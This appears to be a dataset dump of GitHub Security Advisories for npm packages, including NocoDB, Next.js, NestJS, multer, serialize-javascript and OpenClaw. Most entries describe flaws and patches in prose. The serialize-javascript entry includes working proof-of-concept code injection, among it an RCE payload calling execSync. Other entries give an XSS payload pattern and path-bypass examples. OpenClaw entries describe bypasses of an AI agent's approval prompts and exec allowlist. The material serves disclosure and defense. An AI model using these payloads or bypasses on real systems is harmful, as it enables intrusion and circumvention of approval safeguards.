deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-p9x3-w98f-7j3q
Package: nocodb (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: <= 0.301.2
Patched in: 0.301.3

Summary: NocoDB Missing Ownership Validation in MCP Token Operations

Details:
### Summary
The MCP token service did not validate token ownership, allowing a Creator within the same base to read, regenerate, or delete another user's MCP tokens if the token ID was known.

### Details
`McpTokenService.get()`, `regenerateToken()`, and `delete()` did not filter by `fk_user_id`. The analogous `ApiTokensService` correctly enforced ownership.

### Impact
Limited — requires Creator role and knowledge of target token ID. Primary risk is denial of service (invalidating tokens) and scoped token disclosure.

### Credit
This issue was reported by [@bugbunny-research](https://github.com/bugbunny-research) (bugbunny.ai).
GitHub Security Advisory: GHSA-x4vh-j75g-268g
Package: nocodb (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-613: Insufficient Session Expiration
Vulnerable versions: <= 0.301.2
Patched in: 0.301.3

Summary: NocoDB's Refresh Tokens Not Revoked on Password Reset

Details:
### Summary
The password reset flow did not revoke existing refresh tokens, allowing an attacker with a previously stolen refresh token to continue minting valid JWTs after the victim resets their password.

### Details
`passwordReset()` in `users.service.ts` updated `token_version` (invalidating JWTs) but did not call `UserRefreshToken.deleteAllUserToken()`. The `refreshToken()` method only checked token existence, not `token_version`. Both `passwordChange()` and `signOut()` correctly deleted all refresh tokens.

### Impact
An attacker who previously obtained a refresh token retains access after password reset until the token expires.

### Credit
This issue was reported by [@bugbunny-research](https://github.com/bugbunny-research) (bugbunny.ai).
GitHub Security Advisory: GHSA-mpp2-x7wv-38hv
Package: nocodb (NPM)
Severity: LOW (CVSS 0.0)
CWE: CWE-256: Plaintext Storage of a Password
Vulnerable versions: <= 0.301.2
Patched in: 0.301.3

Summary: NocoDB has Plaintext Storage of Shared View Passwords

Details:
### Summary
Shared view passwords were stored in plaintext in the database and compared using direct string equality.

### Details
The `password` column in `nc_views` stored unhashed passwords. Verification used `!==` comparison across `public-datas.service.ts`, `public-metas.service.ts`, and `calendar-datas.service.ts`.

### Impact
If the database is compromised, shared view passwords are immediately readable. Risk is limited to password reuse scenarios.

### Credit
This issue was reported by [@Tulgaaaaaaaa](https://github.com/Tulgaaaaaaaa).
GitHub Security Advisory: GHSA-qxwq-q265-hc44
Package: nocodb (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 0.301.2
Patched in: 0.301.3

Summary: NocoDB Vulnerable to Stored Cross-site Scripting via Rich Text Field

Details:
### Summary
An authenticated user with Editor role can inject arbitrary HTML into Rich Text cells by bypassing the TipTap editor and sending raw HTML via the API.

### Details
The TipTap editor sanitizes HTML client-side, but the backend stores raw HTML without server-side sanitization. The stored content is rendered via `v-html` in `TextArea.vue` through `NcMarkdownParser.parse()` which performs no sanitization.

### Impact
Stored XSS — malicious scripts execute for any user viewing the cell.

### Credit
This issue was reported by [@Akokonunes](https://github.com/Akokonunes).
GitHub Security Advisory: GHSA-387m-j3p9-3php
Package: nocodb (NPM)
Severity: LOW (CVSS 0.0)
CWE: CWE-204: Observable Response Discrepancy
Vulnerable versions: <= 0.301.2
Patched in: 0.301.3

Summary: NocoDB Vulnerable to User Enumeration via Password Reset Endpoint

Details:
### Summary
The password forgot endpoint returned different responses for registered and unregistered emails, allowing user enumeration.

### Details
`POST /api/v2/auth/password/forgot` returned a success message for registered emails but `'Your email has not been registered.'` for unknown emails. The fix returns a uniform response regardless of whether the email exists.

### Impact
An unauthenticated attacker can determine whether an email is registered. No credentials or data are exposed.

### Credit
This issue was reported by [@Tulgaaaaaaaa](https://github.com/Tulgaaaaaaaa).
GitHub Security Advisory: GHSA-vx5p-q85x-xm3c
Package: nocodb (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 0.301.2
Patched in: 0.301.3

Summary: NocoDB has Stored Cross-site Scripting via Formula Cell

Details:
### Summary
A stored XSS vulnerability exists in the Formula virtual cell. Formula results containing `URI::()` patterns are rendered via `v-html` without sanitization, allowing injected HTML to execute.

### Details
The `replaceUrlsWithLink()` function in `urlUtils.ts` converts `URI::(url)` patterns to `<a>` tags but passes all other HTML through unchanged. A user with Creator role (minimum role for formula field creation) can craft a formula like `CONCAT("URI::(https://example.com)", "<img src=x onerror=...>")` to inject arbitrary scripts rendered for all viewers.

### Impact
Credential theft via script execution in the context of users viewing the table.

### Credit
This issue was reported by [@Akokonunes](https://github.com/Akokonunes).
GitHub Security Advisory: GHSA-f82v-jwr5-mffw
Package: next (NPM)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-285: Improper Authorization, CWE-863: Incorrect Authorization
Vulnerable versions: >= 12.0.0, < 12.3.5
Patched in: 12.3.5

Summary: Authorization Bypass in Next.js Middleware

Details:
# Impact
It is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware.

# Patches
* For Next.js 15.x, this issue is fixed in `15.2.3`
* For Next.js 14.x, this issue is fixed in `14.2.25`
* For Next.js 13.x, this issue is fixed in 13.5.9
* For Next.js 12.x, this issue is fixed in 12.3.5
* For Next.js 11.x, consult the below workaround.

_Note: Next.js deployments hosted on Vercel are automatically protected against this vulnerability._

# Workaround
If patching to a safe version is infeasible, we recommend that you prevent external user requests which contain the `x-middleware-subrequest` header from reaching your Next.js application.

## Credits

- Allam Rachid (zhero;)
- Allam Yasser (inzo_)
GitHub Security Advisory: GHSA-fj3w-jwp8-x2g3
Package: fast-xml-parser (NPM)
Severity: LOW (CVSS 0.0)
CWE: CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
Vulnerable versions: >= 5.0.0, < 5.3.8
Patched in: 5.3.8

Summary: fast-xml-parser has stack overflow in XMLBuilder with preserveOrder

Details:
### Impact
Application crashes with stack overflow when user use XML builder with `prserveOrder:true` for following or similar input 

```
[{
    'foo': [
        { 'bar': [{ '@_V': 'baz' }] }
    ]
}]
```

Cause: `arrToStr` was not validating if the input is an array or a string and treating all non-array values as text content.
_What kind of vulnerability is it? Who is impacted?_

### Patches
Yes in 5.3.8

### Workarounds
Use XML builder with `preserveOrder:false` or check the input data before passing to builder.

### References
[_Are there any links users can visit to find out more?_](https://github.com/NaturalIntelligence/fast-xml-parser/pull/791)
GitHub Security Advisory: GHSA-r4wm-x892-vjmx
Package: @nestjs/platform-fastify (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: <= 11.1.13
Patched in: 11.1.14

Summary: Nest has a Fastify URL Encoding Middleware Bypass 

Details:
### Impact
_What kind of vulnerability is it? Who is impacted?_

A NestJS application using `@nestjs/platform-fastify` can allow bypass of any middleware when Fastify path-normalization options (e.g., `ignoreTrailingSlash`, `ignoreDuplicateSlashes`, `useSemicolonDelimiter`) are enabled. In affected route-scoped middleware setups, variant paths may skip middleware checks while still reaching the protected handler.

The bug is a path canonicalization mismatch between middleware matching and route matching in Nest’s Fastify adapter.

Nest passes Fastify routerOptions (such as `ignoreTrailingSlash`, `ignoreDuplicateSlashes`, `useSemicolonDelimiter`) to the Fastify router in packages/platform-fastify/adapters/fastify-adapter.ts:253.

But middleware execution is decided by a separate regex check over `req.originalUrl` in packages/platform-fastify/adapters/fastify-adapter.ts:706 and packages/platform-fastify/adapters/fastify-adapter.ts:713.

If that regex does not match, Nest does `next()` and skips the middleware (packages/platform-fastify/adapters/fastify-adapter.ts:714), while Fastify may still normalize the same path and route it to the protected handler. So the vulnerability exists because security checks (middleware) and request dispatch(router) use different URL interpretations.

This is a fail-open design issue (inconsistent normalization), not just a bad app config: non-default router options make the mismatch reachable.

### Patches

Fixed in `@nestjs/platform-fastify@11.1.14`

### References

Credit goes to Fluidattacks ([Cristian Vargas](https://www.linkedin.com/in/cvmiracle/)) https://fluidattacks.com/advisories/neton
GitHub Security Advisory: GHSA-7q64-3rg2-h9pf
Package: @nestjs/platform-fastify (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 11.1.14
Patched in: 11.1.14

Summary: Duplicate Advisory: Nest has a Fastify URL Encoding Middleware Bypass

Details:
## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-r4wm-x892-vjmx. This link is maintained to preserve external references.

## Original Description

A NestJS application using @nestjs/platform-fastify can allow bypass of authentication/authorization middleware when Fastify path-normalization options are enabled.



This issue affects nest.Js: 11.1.13.
GitHub Security Advisory: GHSA-jfrq-hj9f-c8qx
Package: clevertap-web-sdk (NPM)
Severity: HIGH (CVSS 8.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 1.15.3
Patched in: 1.15.3

Summary: CleverTap Web SDK is vulnerable to DOM-based Cross-Site Scripting (XSS) via window.postMessage

Details:
CleverTap Web SDK version 1.15.2 and earlier is vulnerable to DOM-based Cross-Site Scripting (XSS) via window.postMessage in the Visual Builder module. The origin validation in src/modules/visualBuilder/pageBuilder.js (lines 56-60) uses the includes() method to verify the originUrl contains "dashboard.clevertap.com", which can be bypassed by an attacker using a crafted subdomain.
GitHub Security Advisory: GHSA-j5mf-6rh3-rhgg
Package: clevertap-web-sdk (NPM)
Severity: HIGH (CVSS 8.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-346: Origin Validation Error
Vulnerable versions: < 1.15.3
Patched in: 1.15.3

Summary: CleverTap Web SDK  is vulnerable to DOM-based XSS via handleCustomHtmlPreviewPostMessageEvent function

Details:
CleverTap Web SDK version 1.15.2 and earlier is vulnerable to Cross-site Scripting (XSS) via window.postMessage. The handleCustomHtmlPreviewPostMessageEvent function in src/util/campaignRender/nativeDisplay.js performs insufficient origin validation using the includes() method, which can be bypassed by an attacker using a subdomain.
GitHub Security Advisory: GHSA-xf7r-hgr6-v32p
Package: multer (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-459: Incomplete Cleanup
Vulnerable versions: < 2.1.0
Patched in: 2.1.0

Summary: Multer vulnerable to Denial of Service via incomplete cleanup

Details:
### Impact

A vulnerability in Multer versions < 2.1.0 allows an attacker to trigger a Denial of Service (DoS) by sending malformed requests, potentially causing resource exhaustion.

### Patches

Users should upgrade to `2.1.0`

### Workarounds

None
GitHub Security Advisory: GHSA-v52c-386h-88mc
Package: multer (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-772: Missing Release of Resource after Effective Lifetime
Vulnerable versions: < 2.1.0
Patched in: 2.1.0

Summary: Multer vulnerable to Denial of Service via resource exhaustion

Details:
### Impact

A vulnerability in Multer versions < 2.1.0 allows an attacker to trigger a Denial of Service (DoS) by dropping connection during file upload, potentially causing resource exhaustion.

### Patches

Users should upgrade to `2.1.0`

### Workarounds

None
GitHub Security Advisory: GHSA-5c6j-r48x-rmvq
Package: serialize-javascript (NPM)
Severity: HIGH (CVSS 8.1)
CWE: CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
Vulnerable versions: <= 7.0.2
Patched in: 7.0.3

Summary: Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

Details:
### Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.

If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.

```javascript
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
```

```javascript
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution
```

```javascript
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
```

### Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
GitHub Security Advisory: GHSA-8p85-9qpw-fwgw
Package: @fastify/middie (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: < 9.2.0
Patched in: 9.2.0

Summary: @fastify/middie has Improper Path Normalization when Using Path-Scoped Middleware

Details:
## Summary
A path normalization inconsistency in `@fastify/middie` can result in authentication/authorization bypass when using path-scoped middleware (for example, `app.use('/secret', auth)`).

When Fastify router normalization options are enabled (such as `ignoreDuplicateSlashes`, `useSemicolonDelimiter`, and related trailing-slash behavior), crafted request paths may bypass middleware checks while still being routed to protected handlers.

## Impact
An unauthenticated remote attacker can access endpoints intended to be protected by middleware-based auth/authorization controls by sending specially crafted URL paths (for example, `//secret` or `/secret;foo=bar`), depending on router option configuration.

This may lead to unauthorized access to protected functionality and data exposure.

## Affected versions
- Confirmed affected: `@fastify/middie@9.1.0`
- All versions prior to the patch are affected.

## Patched versions
- Fixed in: *9.2.0*

## Details
The issue is caused by canonicalization drift between:
1. `@fastify/middie` path matching for `app.use('/prefix', ...)`, and
2. Fastify/find-my-way route lookup normalization.

Because middleware and router did not always evaluate the same normalized path, auth middleware could be skipped while route resolution still succeeded.

## Workarounds
Until patched version is deployed:
- Avoid relying solely on path-scoped middie guards for auth/authorization.
- Enforce auth at route-level handlers/hooks after router normalization.
- Disable risky normalization combinations only if operationally feasible.

## Resources
- Fluid Attacks Disclosure Policy: https://fluidattacks.com/advisories/policy
- Fluid Attacks advisory URL: https://fluidattacks.com/advisories/jimenez

## Credits
- **Cristian Vargas** (Fluid Attacks Research Team) — discovery and report.
- **Oscar Uribe** (Fluid Attacks) — coordination and disclosure.
GitHub Security Advisory: GHSA-7977-c43c-xpwj
Package: openclaw (NPM)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-184: Incomplete List of Disallowed Inputs
Vulnerable versions: < 2026.2.23
Patched in: 2026.2.23

Summary: OpenClaw is vulnerable to validation bypass through GNU long-option abbreviations in allowlist mode

Details:
In OpenClaw before 2026.2.23, tools.exec.safeBins validation for sort could be bypassed via GNU long-option abbreviations (such as --compress-prog) in allowlist mode, leading to approval-free execution paths that were intended to require approval. Only an exact string such as --compress-program was denied.
GitHub Security Advisory: GHSA-fpg4-jhqr-589c
Package: @sveltejs/kit (NPM)
Severity: LOW (CVSS 0.0)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 2.49.0, <= 2.53.2
Patched in: 2.53.3

Summary: SvelteKit  has deserialization expansion in unvalidated `form` remote function leading to Denial of Service (experimental only)

Details:
Some relatively small inputs can cause very large files arrays in `form` handlers. If the SvelteKit application code doesn't check `files.length` or individual files' sizes and performs expensive processing with them, it can result in Denial of Service.

Only users with `experimental.remoteFunctions: true` who are using the `form` function and are processing the `files` array without validation are vulnerable.
GitHub Security Advisory: GHSA-7jx5-9fjg-hp4m
Package: openclaw (NPM)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key, CWE-863: Incorrect Authorization
Vulnerable versions: <= 2026.2.22-2
Patched in: 2026.2.23

Summary: OpenClaw ACP client has permission auto-approval bypass via untrusted tool metadata

Details:
## Vulnerability Summary

The OpenClaw ACP client could auto-approve tool calls based on untrusted metadata and permissive name heuristics. A malicious or compromised ACP tool invocation could bypass expected interactive approval prompts for read-class operations.

## Affected Packages / Versions

- Package: npm `openclaw`
- Affected published versions: `<= 2026.2.22-2` (latest published as of February 24, 2026 is `2026.2.22-2`)
- Patched in code on `main`: `2026.2.23` (released)

## Technical Details

- Permission classification trusted incoming `toolCall.kind` and heuristic name matching.
- Non-core read-like names and spoofed kind metadata could reach auto-approve paths.
- `read` operations were not scoped strongly enough to cwd in all metadata/title forms.

## Fix

- Require trusted core tool IDs for auto-approval and ignore untrusted `toolCall.kind` as an authorization source.
- Scope `read` auto-approval to cwd-resolved paths.
- Add stricter tool-name validation and regression coverage for spoofed kind and non-core read-like names.

## Affected Functions

- `resolvePermissionRequest`
- `resolveToolNameForPermission`
- `shouldAutoApproveToolCall`

## Fix Commit(s)

- `12cc754332f9a7c92e158ce7644aa22df79c0904`
- `63dcd28ae0be2de1c75af09cc81841cebeec068f`

Found using [MCPwner](https://github.com/Pigyon/MCPwner)


Thanks @nedlir for reporting.
GitHub Security Advisory: GHSA-82g8-464f-2mv7
Package: openclaw (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-15: External Control of System or Configuration Setting, CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-1341: Multiple Releases of Same Resource or Handle
Vulnerable versions: < 2026.2.21
Patched in: 2026.2.21

Summary: OpenClaw: Skill env override host env injection via applySkillConfigEnvOverrides (defense-in-depth)

Details:
### Summary
`applySkillConfigEnvOverrides` previously copied `skills.entries.*.env` values into the host `process.env` without applying the host env safety policy.

### Impact
In affected versions, dangerous process-level variables such as `NODE_OPTIONS` could be injected when unset, which can influence runtime/child-process behavior.

### Required attacker capability
An attacker must be able to modify OpenClaw local state/config (for example `~/.openclaw/openclaw.json`) to set `skills.entries.<skill>.env` or related skill config values.

### Remediation
Fixed in `2026.2.21` by sanitizing skill env overrides and blocking dangerous host env keys (including `NODE_OPTIONS`) before applying overrides, with regression tests covering blocked dangerous keys.

## Fix Commit(s)
- `8c9f35cdb51692b650ddf05b259ccdd75cc9a83c`

Found using [MCPwner](https://github.com/Pigyon/MCPwner)